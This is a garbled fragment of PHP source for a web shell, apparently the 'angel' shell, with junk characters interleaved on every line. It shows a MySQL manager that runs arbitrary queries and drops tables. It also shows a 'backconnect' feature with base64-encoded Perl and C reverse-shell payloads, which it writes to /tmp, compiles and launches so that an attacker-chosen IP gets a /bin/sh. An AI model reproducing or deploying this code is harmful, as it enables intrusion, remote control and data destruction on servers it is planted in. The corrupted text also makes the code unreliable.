' M4 [$ i. G( o H. _ - ! j; }) G9 `8 l; J7 R
- if ($tablename && $doing == 'drop') {+ {+ o2 I5 L- i5 H/ M
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
0 `# W+ m/ X, g! |+ n: I; c& C3 m - if (q("DROP TABLE $tablename")) {
" b3 s/ a! D. m% q, S - m('Drop table of success');7 ^& T/ E) v3 Z2 d7 D9 U
- $tablename = '';
- J. G/ T: t5 @( d' q8 @9 ^5 X: F( Y - } else {% @8 d% ?" R1 g2 R
- m(mysql_error());$ F" V. s6 [' s6 h# p
- }% y4 X0 K4 }8 N) b* s
- }
5 k# }( I; a$ h* p8 Z/ M5 f -
& X5 u- h" y9 Y6 e9 _ - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');" E# |, K. `4 E
-
' f- X6 K& F F& Z - formhead(array('title'=>'MYSQL Manager'));" |. i. s- \$ o2 [. _! l& }2 s
- makehide('action','sqladmin');3 M J' ?' ^* _4 R/ g0 V8 \2 h
- p('<p>');
9 |% y9 q! D0 p - p('DBHost:');
) o) l* ]) o& L& n% h8 d+ u$ I, ] - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
* }# E4 a3 q8 t5 V: | - p(':');
/ E) E( Z7 t9 i2 Y$ ^! v - makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));, O) `" J, e C- s) }/ H/ R2 |
- p('DBUser:');( a6 K4 B l( Z
- makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));" d3 x6 G% [: c, U( O) B
- p('DBPass:');0 q: V# V/ \% c1 g
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
$ S0 U" O; s: | - p('DBCharset:');7 x& E1 V* U8 G, v1 b
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));5 G, f8 O1 Z3 k# s8 ]$ ]0 |
- makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
: M5 ~3 K1 w' V& G& c - p('</p>');# A$ T& w, R+ @2 Q: m2 E
- formfoot();
( M: R1 G0 O: S1 M - ?>
" X( D" Y/ v7 r5 I4 D* c - <script type="text/javascript">% ~9 H) w( u, }4 j
- function editrecord(action, base64, tablename){
. k* i7 ?& u& C5 \# _ - if (action == 'del') {
" A5 G7 j. S! U/ X! p2 Y) Z7 w - if (!confirm('Is or isn\'t deletion record?')) return;. Y0 G% t: p" E; M1 }6 \
- }
) n0 ~6 a/ r+ U1 C% g - $('recordlist').doing.value=action;
3 ?: h0 y; k% o - $('recordlist').base64.value=base64;
; l7 |+ r9 V( x" B( `8 M/ S - $('recordlist').tablename.value=tablename;1 l' J$ g& M* t- j( D; U6 `. m9 `1 @
- $('recordlist').submit();
7 x: L! I0 m H% F6 q# t - }
. ]0 R' n! a( z- Z5 O2 L - function moddbname(dbname) {5 h, v$ T6 k, J" f6 \
- if(!dbname) return;
9 n# Q% a- m" k- G - $('setdbname').dbname.value=dbname;
, h" z/ v: e9 R5 o. u- W# u; K/ E - $('setdbname').submit();+ K+ j9 l: w& c. d1 W- ^ Q: x1 T$ K
- }# a( J8 k3 }; b2 R; S1 ^
- function settable(tablename,doing,page) {
Y7 W( H/ y2 i6 s - if(!tablename) return;
$ O4 `1 x. ~, I$ W - if (doing) {: y) w: n. \% i
- $('settable').doing.value=doing;
3 h w$ R2 O$ u2 K - }2 Z0 r8 k7 L9 Z/ |
- if (page) {
7 v! c7 c2 f, Q: f! m9 h" Z% b - $('settable').page.value=page;
# g; B# ~$ f5 N- { - }
" p8 Q; o8 G& t4 V+ V3 p3 m - $('settable').tablename.value=tablename;
# {, w7 k- ^, @ s. x' s - $('settable').submit();7 P* I4 D3 {: z
- }
$ V; |/ K( `2 _+ l9 M - </script>
1 ~$ ~) M" S/ h# U" u5 W; P; x - <?php/ Q1 Z0 X0 \3 z( n- S" P& |5 n
- //操作记录
0 T4 d3 l: E0 A9 O& I - formhead(array('name'=>'recordlist'));
# _' E4 a8 k! p8 N% e' I# S - makehide('doing');
) l% r; C* a+ u" i% o - makehide('action','sqladmin');
/ u9 D$ A, u- k$ a, ~) F - makehide('base64');/ ]4 N+ ]# _( N+ C" ]
- makehide('tablename');
, B0 G/ u+ N* |4 o: z5 s* r - p($dbform);1 L; e2 C) i. a0 }0 G
- formfoot();% U, P" k% f& j: w
- //选定数据库6 l. f7 A- {6 O7 r9 l4 _
- formhead(array('name'=>'setdbname'));/ Y; g" }4 \1 C$ X4 s
- makehide('action','sqladmin');0 {* ~. H6 e' [- h
- p($dbform);
( K; V7 A- A0 Z: X - if (!$dbname) {
: v8 h" P$ d4 Z& ]1 d4 x2 j - makehide('dbname');
+ W) {3 _; P& r# C H - }
8 V0 C6 ?, ]( r* U8 a! R8 ^ - formfoot();
! x$ n y: q& Z) a - //选定表, f9 X2 Z6 @0 Q9 d/ d
- formhead(array('name'=>'settable'));5 i+ F: Y* B* ^
- makehide('action','sqladmin');, N% I3 ]4 M9 I3 j. K) w
- p($dbform);* j- d! b3 V$ Y% _
- makehide('tablename');
6 w7 U6 m' e+ W8 Q6 A- [1 w - makehide('page',$page);
, {! E: I% ?* m X: J3 | - makehide('doing');
' _; K5 ^- K2 A! t - formfoot();/ e2 s3 z K; v7 u: J4 ^* F
- $cachetables = array();
, }( d9 ?5 a9 M Z r; ?9 {1 s - $pagenum = 30;
( U& H" E5 [0 K6 } f! H+ z1 k - $page = intval($page);
0 ?. S" m* f% C) h: q9 b - if($page) {. x: s# G& n6 \% i
- $start_limit = ($page - 1) * $pagenum;
# \% I {0 @: e4 j - } else {
. W! x6 T$ M7 ^& S! i6 f9 E( t - $start_limit = 0;1 `7 H" g7 ]' Y/ z6 A$ D
- $page = 1;
; @: z" p) c, q) g. O5 c - }9 [9 R. [) N, [* L
- if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {! h$ r# o! y5 A% l5 f2 D( t, |
- dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);1 |1 u$ Z# m! F' z: j6 T
- //获取数据库信息$ f0 \1 n, t8 c2 h8 B: z
- $mysqlver = mysql_get_server_info();
& w- w% I% N" k$ K! t4 y: S/ B' o - p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');% w, P$ D! F5 D- s) D$ V0 G
- $highver = $mysqlver > '4.1' ? 1 : 0;( c: H5 I- O- @/ m
- //获取数据库2 x& S, U0 Y) G8 @: G; o
- $query = q("SHOW DATABASES");
6 U' K- K5 j& D- K# |: _- @ ^# M1 i - $dbs = array();
1 S! w, Y6 B3 G6 O8 z4 C; l' P+ X - $dbs[] = '-- Select a database --';% [+ [# U: m- w% C9 M0 X5 i1 Z. e1 @
- while($db = mysql_fetch_array($query)) { M; u- e% h! _7 j
- $dbs[$db['Database']] = $db['Database'];( E5 \+ g: Y/ R" F) J3 M7 l; V; I
- }
) d* a9 S' |6 c4 v - makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));; ~; A, V! O3 M0 }3 k/ A
- $tabledb = array();
( M0 z& @6 ?$ r. ?$ ~1 M! t" h - if ($dbname) {
3 L% M* Q% V9 X* C. C, ? - p('<p>');
8 R) n$ h) T, X - p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
" W/ M1 j" n% ? j - if ($tablename) {$ z u- t7 O# x+ h* q0 p1 r U; v# K4 z0 G
- p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');8 M7 N6 E1 n4 N0 ]0 c% z
- }- ?- A: |0 k4 f- r2 [
- p('</p>');. p8 u- K1 ]/ ], X0 ~) z
- mysql_select_db($dbname);- U4 u6 B+ ^1 F( n- |. H9 P! o" O
- $getnumsql = '';
* @1 V8 i% _! I; u+ `' H - $runquery = 0;
! w0 s- u* w. ~" o8 s% J - if ($sql_query) {2 x" u. a& f" }$ a6 o7 G- ]
- $runquery = 1;- G# B$ `. d/ D2 I8 ^
- }
! u/ m' k3 G$ `4 t/ y - $allowedit = 0;
+ X, F9 `, Y: O3 j - if ($tablename && !$sql_query) {
3 d' M2 U6 t$ v- ? - $sql_query = "SELECT * FROM $tablename";
& a6 ~ T, X2 ] - $getnumsql = $sql_query;2 u( S. z; i" l* D9 D1 M( d5 p; ^% g
- $sql_query = $sql_query." LIMIT $start_limit, $pagenum"; m" O+ i: S' F0 \
- $allowedit = 1;
# ]9 E B; s4 P7 H. s - }3 U e3 {0 N3 s0 T1 b4 x) z& c0 B
- p('<form action="'.$self.'" method="POST">');
3 R( Z# x8 ^( n - p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
2 z' p% F2 Z0 x) ]! p; H - makehide('tablename', $tablename);3 f% |9 O& @3 Y4 }, N" m
- makehide('action','sqladmin');
$ r# f0 o/ O* J, z+ r0 V - p($dbform);; m: i! l+ j+ e& m- n, f+ [
- p('</form>');+ s( u% N* B. P- b7 r ^
- if ($tablename || ($runquery && $sql_query)) {9 b: I4 o5 M# n7 u' Y1 X7 t2 o- K' ]
- if ($doing == 'structure') {
$ |, I: l0 O; S% M0 ?6 i - $result = q("SHOW COLUMNS FROM $tablename");
, I' C" B* z) X. @# K - $rowdb = array();6 e: E1 _& P" I5 M& T
- while($row = mysql_fetch_array($result)) {
6 U& d$ N. ~4 Q" u. S- t: D1 a - $rowdb[] = $row;; h2 l% ~; I7 r1 ]
- }
- ^( d2 G* a a3 A - p('<table border="0" cellpadding="3" cellspacing="0">');
$ Q: M. y) [6 g2 I b! C8 q5 s - p('<tr class="head">');& p. e- R3 E& x, X8 m7 A+ }+ o0 W2 B
- p('<td>Field</td>');$ }( }; M. y8 j0 Q7 S: w8 S: l
- p('<td>Type</td>');
: [& \% {0 ]; ]. ?& ~ J - p('<td>Null</td>');
+ w E; j9 G- G' R s - p('<td>Key</td>');
+ Z8 \: c4 U5 R+ X8 F2 ` - p('<td>Default</td>');( I1 T" D7 \: k, x: y' O
- p('<td>Extra</td>');
( X/ y' Y: H* {2 N. g7 | - p('</tr>');
/ z# i! t0 X9 H' n& p- ] - foreach ($rowdb as $row) {
8 R( x4 y" s8 \# v: A1 R - $thisbg = bg();+ k9 q+ C& L( _0 N+ k
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
! ~" m" y9 G8 C0 t2 E, D& l - p('<td>'.$row['Field'].'</td>');
, B9 w$ V. O1 y2 f) H - p('<td>'.$row['Type'].'</td>');7 z6 D, z: l/ a& K: v/ E
- p('<td>'.$row['Null'].' </td>');
8 i* P: f* ]* h. U0 Y" v - p('<td>'.$row['Key'].' </td>');6 i% T9 r# G* p) b
- p('<td>'.$row['Default'].' </td>');
, ?' J# m8 ]. a. g! F - p('<td>'.$row['Extra'].' </td>');' Y' u z1 m& P8 J: h* F
- p('</tr>');
3 |% x$ U/ ~0 a7 c4 g9 [# n - }
+ {6 f+ f, u# v! t - tbfoot();
4 ~: x) E$ X5 w6 u5 I+ a0 J- V2 B - } elseif ($doing == 'insert' || $doing == 'edit') {
3 G0 J p5 ?' t( U - $result = q('SHOW COLUMNS FROM '.$tablename);8 [7 A7 N; A" q$ c
- while ($row = mysql_fetch_array($result)) {
: ^- K4 y6 z9 X$ f0 U4 H1 P8 K - $rowdb[] = $row;
8 g: ^1 K! Y6 C' y - }4 F8 A6 H; g# ~
- $rs = array(); e& C# o/ J/ I. Y
- if ($doing == 'insert') {; H; o4 r$ P2 T5 e- g5 X# P1 [( w
- p('<h2>Insert new line in '.$tablename.' table »</h2>');
* s! |! F: c" J% W5 U) m: I' B - } else {
`, y, r9 ]/ y' ?) K7 e: n+ }2 J" z8 T - p('<h2>Update record in '.$tablename.' table »</h2>');
# |6 W% d7 D9 _9 g+ I8 H2 g7 R3 i - $where = base64_decode($base64);5 J. E j6 Z& Z7 T5 |7 b
- $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");, {+ \% E Z8 {3 a4 ^9 B$ F. m
- $rs = mysql_fetch_array($result);! j' u/ W3 e/ T1 X a3 F" V5 H
- }8 q" w6 d' |" F O- g. {) i
- p('<form method="post" action="'.$self.'">');% ^1 A6 T( k" u
- p($dbform);
1 T+ q8 [+ u( L; p6 v* a$ A1 G - makehide('action','sqladmin');
0 Z* W5 [3 o G: b8 J7 L - makehide('tablename',$tablename);# U& p1 _5 q: S: s* Y& r# _
- p('<table border="0" cellpadding="3" cellspacing="0">');
5 c0 O' f0 G8 ^+ P: T+ v - foreach ($rowdb as $row) {' U+ X& l# `1 N# @9 l- X5 b4 B
- if ($rs[$row['Field']]) {: M- ~5 c- T; G4 c) N
- $value = htmlspecialchars($rs[$row['Field']]);
1 g% P% r" Y: U( ]6 u q - } else {
7 P: H& f7 Y- }: K, C: |. U' P - $value = '';7 [+ G: B; g; z/ J( i
- }" N) J" N, n0 o( D3 S
- $thisbg = bg();! i' s2 f5 i6 Q" p5 y& I" q; n
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$ j( J- L( \* Y2 Z: I `" A
- p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
0 J5 Q: d" b5 `. c) e - }$ X) ~( F' n* v5 i: E: W. \
- if ($doing == 'insert') {
, \ K: f3 W* R% t# l - p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');/ v3 y8 W6 x* c8 ?' [
- } else {8 ]+ Q7 n `8 ]8 H1 a
- p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
" i/ H) \. K: w) }. L, Z6 Z' y, r8 s* ~ - makehide('base64', $base64);
- N: R/ o" ^1 u) V X' } - }
9 \$ W( o2 }- Y5 v. B - p('</table></form>');
I' ]; ^/ w( d- J - } else {# J- f/ I4 n. a1 e
- $querys = @explode(';',$sql_query);
' y/ R0 y" l1 J, _+ z- h1 I6 m2 Q - foreach($querys as $num=>$query) {
# h0 Y+ z& e: u* h! ` - if ($query) {; _3 z9 q" c1 ?
- p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
$ _' N. s$ Y# w6 g3 k; q - switch(qy($query))) A( G( I9 T r& X
- {9 t! }, G, \4 v/ c$ }! ^ ]1 q& `
- case 0:3 u$ L. I! x H1 Y
- p('<h2>Error : '.mysql_error().'</h2>');' x+ u9 x# L3 g: n
- break;
$ m; ^# z* I2 [* g - case 1:
- ] \% e) l6 ~ - if (strtolower(substr($query,0,13)) == 'select * from') {& E! q% ]% \) X
- $allowedit = 1;5 R; m/ I- T$ @! x" a
- }
. v6 F. T: G, d - if ($getnumsql) {
6 |4 u" j8 {7 U - $tatol = mysql_num_rows(q($getnumsql));
4 B' w8 v/ S2 z" x: F$ K - $multipage = multi($tatol, $pagenum, $page, $tablename);2 [1 P% K, }1 y- Z) F0 E& x
- }& h: |+ b3 f$ n! N, T$ v
- if (!$tablename) {2 s# H$ U) Y1 c1 ?" q/ h% E
- $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1 O0 F2 ~: g- @8 I# }* E$ G - $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
& o4 P ?* }, N# h- p$ T8 \7 c - preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1 {; d4 p/ K8 V! M8 p) R4 F, t$ p - $tablename = $matches[1][0];
4 a4 W2 H! z/ P2 {) _ - }
( w+ z s7 X% {; T% a3 R" y - $result = q($query);
: Q! F, A3 r* G1 d* L4 W; w - p($multipage);
V* b3 X2 L: o8 @ - p('<table border="0" cellpadding="3" cellspacing="0">');
% `' t0 i" J4 ? - p('<tr class="head">');
$ d/ O* \* d) l: H - if ($allowedit) p('<td>Action</td>');
4 ]- u% q7 R# I" k( N$ j0 A - $fieldnum = @mysql_num_fields($result);4 O. K) W) \- P+ X% ?$ R6 ~
- for($i=0;$i<$fieldnum;$i++){
- A) @: F6 A s, t ^( N - $name = @mysql_field_name($result, $i);
! e; u( z9 x6 p; A2 V8 a - $type = @mysql_field_type($result, $i);4 p: W+ A1 d- V5 `
- $len = @mysql_field_len($result, $i);9 w; S4 t" z5 J# R8 O; w, @1 {
- p("<td nowrap>$name<br><span>$type($len)</span></td>");
' T9 v1 a) E8 K9 j' a& v0 D - }
7 F/ a5 u2 ~9 t! u* ~ - p('</tr>');
1 ]8 r4 p$ k$ r# z* b* X - while($mn = @mysql_fetch_assoc($result)){6 K& g' _/ l2 f0 A( o
- $thisbg = bg();, H) q& b! C) T5 a# H
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');+ g0 X* H ]; ^4 _* b7 q/ m
- $where = $tmp = $b1 = '';
8 o3 Z* X& Q8 @9 Y7 o - foreach($mn as $key=>$inside){& c/ w. v1 R8 U' d
- if ($inside) {
! z+ H' w* x) o' _( ~% d - $where .= $tmp.$key."='".addslashes($inside)."'";) T) U: |& g0 g; R0 u
- $tmp = ' AND ';
) b1 h+ v8 y$ \# D) i A ] - }
: S$ A8 q8 ]' V* {3 n& {6 x - $b1 .= '<td nowrap>'.html_clean($inside).' </td>';1 F1 m' ~' o3 L" b4 y
- }. w/ B# i( a |+ Z
- $where = base64_encode($where);7 R0 ^1 X. H% q% S
- if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
* N! u. G3 @. D! [ - p($b1);, N, _2 E$ l) @' w5 d
- p('</tr>');
4 v- V; X) t$ B ^ - unset($b1);
9 O2 m: E6 Y: _# Q - }- r$ z4 c0 w9 j4 S( u; x
- tbfoot();: Z1 q" k6 P$ j* z* t0 u
- p($multipage);
+ V' d4 i9 e5 k6 S. Q$ A+ i - break; . j1 M; S5 j: z* Q# u+ i6 V
- case 2:
6 F/ s5 y4 L8 [ - $ar = mysql_affected_rows();
0 O( b( g# E% K: j1 {2 j - p('<h2>affected rows : <b>'.$ar.'</b></h2>');
0 D* N3 @0 I* x& h4 U! f ^ - break; \. r3 E8 M9 p2 i* N ^
- }" r' w) L0 p* A4 F B
- }3 i- P# O+ D1 p0 z
- }
; `$ A2 n+ z/ K g: L - }
z7 O; N" t0 Y. z - } else {) X) n/ v- o0 B/ W. j% s: r
- $query = q("SHOW TABLE STATUS");
8 \, w1 y6 ^- y3 j$ `% _ - $table_num = $table_rows = $data_size = 0;
& V4 P( l- m/ O' `; W' X- G - $tabledb = array();
5 B: G0 {( L4 |" ^ - while($table = mysql_fetch_array($query)) {
* ]- G0 n' j* j e- c- W1 k, g - $data_size = $data_size + $table['Data_length'];
8 z$ H0 p- L! r3 y9 N6 f - $table_rows = $table_rows + $table['Rows'];
+ Y4 `0 i. _ }- X- V; P( P - $table['Data_length'] = sizecount($table['Data_length']); \9 h. B/ e9 g& x% ]
- $table_num++;# `# S* h9 C, t: _) k3 O8 a
- $tabledb[] = $table;
3 {& R$ n7 t8 ?3 p! q - }$ D; r9 `1 `; T Z4 U+ W3 I
- $data_size = sizecount($data_size);
' q0 S/ c: b+ S- f9 o - unset($table);' Y5 p4 [- l9 R, y+ V' K6 a5 _2 x; ?
- p('<table border="0" cellpadding="0" cellspacing="0">');
1 [' D# z" Y9 l - p('<form action="'.$self.'" method="POST">');
" f$ C% |" @* r( O% L( V) [ - makehide('action','sqladmin');4 ]- n* Z, C/ s8 q) ?! _- v
- p($dbform);
1 R9 j7 t+ R" k; m. g* o - p('<tr class="head">');
, ~3 P1 k& N! }0 q- k. o - p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
3 R! E ?. Q) F - p('<td>Name</td>');9 J1 _# G: P, ]6 h8 v/ d
- p('<td>Rows</td>');* s7 i0 L4 Z* S" ^
- p('<td>Data_length</td>'); r2 y6 S5 H$ K3 b/ q2 \ X
- p('<td>Create_time</td>');
3 O) E/ C1 f- q, |& U+ ` - p('<td>Update_time</td>');
( w. D* h7 O" v5 v ^% N) ^4 e1 p - if ($highver) {* }2 T8 V/ J) D; u$ f, |; B% K
- p('<td>Engine</td>');5 a8 O0 l0 k, b( {+ ^) W- B$ z9 d& g
- p('<td>Collation</td>');; K) ~' F9 m9 ] }+ H4 D$ L
- }
% I% w: [1 |5 T* J9 _+ Y - p('</tr>');0 i( H- h* x$ C+ [( j7 Y
- foreach ($tabledb as $key => $table) {
: w3 D w4 m2 ?1 U" @ - $thisbg = bg();
; A/ ^, |- H5 r. F2 D - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
* {3 P% |( o5 W8 I( W. i - p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');. T7 s1 W5 S8 s; o3 f
- p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
0 b N# Z7 X% R9 c! }. k" A9 ~# B: N - p('<td>'.$table['Rows'].'</td>'); X# | r& B2 b2 T) e* F% a
- p('<td>'.$table['Data_length'].'</td>');! Z2 _0 L% U( @6 H" k8 p1 r
- p('<td>'.$table['Create_time'].'</td>');1 y6 s& E4 b+ n; B- N5 s3 s
- p('<td>'.$table['Update_time'].'</td>');7 h( _7 \4 S! _% M& d5 w3 E
- if ($highver) {7 {, q) R6 v* J% z# h* ^7 C
- p('<td>'.$table['Engine'].'</td>');
8 e% g- Z9 U+ | - p('<td>'.$table['Collation'].'</td>');
! x' v- S2 N2 Y+ J) B2 V! x3 m - }' `( d6 {$ j# d3 P' j9 D1 _
- p('</tr>');
3 B! p' _- T' q - }
' H$ P+ Z/ s1 g2 q7 `9 R1 f) L" R - p('<tr class='.bg().'>');( c$ h# j2 n6 F% x* t w7 S
- p('<td> </td>');" o2 O! U/ G7 }" K# `# [
- p('<td>Total tables: '.$table_num.'</td>');
3 k' m: h! i, \1 {2 z - p('<td>'.$table_rows.'</td>');
! C, j( C9 d2 f# J/ D - p('<td>'.$data_size.'</td>');, I/ d' i0 o( X
- p('<td colspan="'.($highver ? 4 : 2).'"> </td>');4 n6 U2 R1 k' j2 O" V1 ?
- p('</tr>');
m/ _1 F5 f [" l$ M6 A7 M/ X - p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");
* X5 C9 K* G ~- q% w - makehide('doing','backupmysql');
. h8 V3 j4 x( B. I0 l - formfoot();
' F9 M' x# \3 x: m y9 L - p("</table>");
+ Z) l) Y, |1 s$ b- m - fr($query);9 B, I( p, u3 E" Z) L5 v7 t
- }
2 D% N' Q. W" B) t3 ~6 V8 b+ m' c0 F - }+ p# j+ j5 g2 \7 d |+ `4 p
- }+ @3 d0 P6 @$ z S' k
- tbfoot();
. J( |# \; y/ J - @mysql_close();
0 J& z0 B3 c$ m: {( T! C& ] - }//end sql backup
9 o0 g! |: t1 ]0 y( X - elseif ($action == 'backconnect') {5 H. }- U3 g( l. W# d( G: R1 P5 w
- !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
8 U0 x, q) f' Z7 Q* b6 o - !$yourport && $yourport = '12345';
1 L! Q, d- i7 f% t5 F# D( g - $usedb = array('perl'=>'perl','c'=>'c');
: @; ]0 e% d7 [' V/ v6 n - $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
7 y( y: g9 g! M! D3 d - "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
+ x3 m% h# ]2 i' b; l# e( j - "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".- N8 u$ Z; [7 N3 c% U9 q. u
- "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
: e" y" I8 S% g- r$ Z. W3 B - "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".$ x7 L/ m+ N: c
- "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".% D2 V/ r" Y _% ?5 ?8 |
- "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
9 r( f. V. i6 d0 d7 A - $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".8 K4 |9 G2 l( f$ U
- "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
& U" ` x% S+ K. d8 U - "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".8 t: A: l6 Q- N1 L, a3 F
- "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
/ f* c/ z, I5 M+ g - "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
" t2 I$ f0 g4 s- S6 {' N - "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
" F* r. v/ N. Q/ D; H. D - "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".* t' a+ W. Z; f* L# f
- "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
9 X% ]( I6 z2 Z! q( S6 ^4 o - if ($start && $yourip && $yourport && $use){+ P# k7 e0 ^4 R8 T. o2 G
- if ($use == 'perl') {# c7 S: T1 X3 o# u, g# Z2 q: G
- cf('/tmp/angel_bc',$back_connect);/ [5 N, J% Z; S" U% d" X( N
- $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
: R% y7 _" G) g: ]' } - } else {, }" k, B0 D) m( c1 O
- cf('/tmp/angel_bc.c',$back_connect_c);
6 p* O" C# U1 C/ K - $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
8 W' Y$ V# c" b$ u - @unlink('/tmp/angel_bc.c');
, o9 Y! Y6 T: s, k - $res = execute("/tmp/angel_bc $yourip $yourport &");2 {0 _& Z0 y3 V, ]% T
- }
/ S' @6 \$ \# B5 q9 t/ f$ I7 ^ - m("Now script try connect to $yourip port $yourport ...");
4 W8 G( G# m: M- q$ u - }/ s& m8 d+ K8 l
- formhead(array('title'=>'Back Connect'));" x+ V0 `, b* _, Z& L+ \
- makehide('action','backconnect');$ d0 c6 V9 w7 O$ E+ B1 e
- p('<p>');
9 L" e4 ?( B2 ` B; C1 A& } - p('Your IP:');; _2 W% f. b4 v9 h g
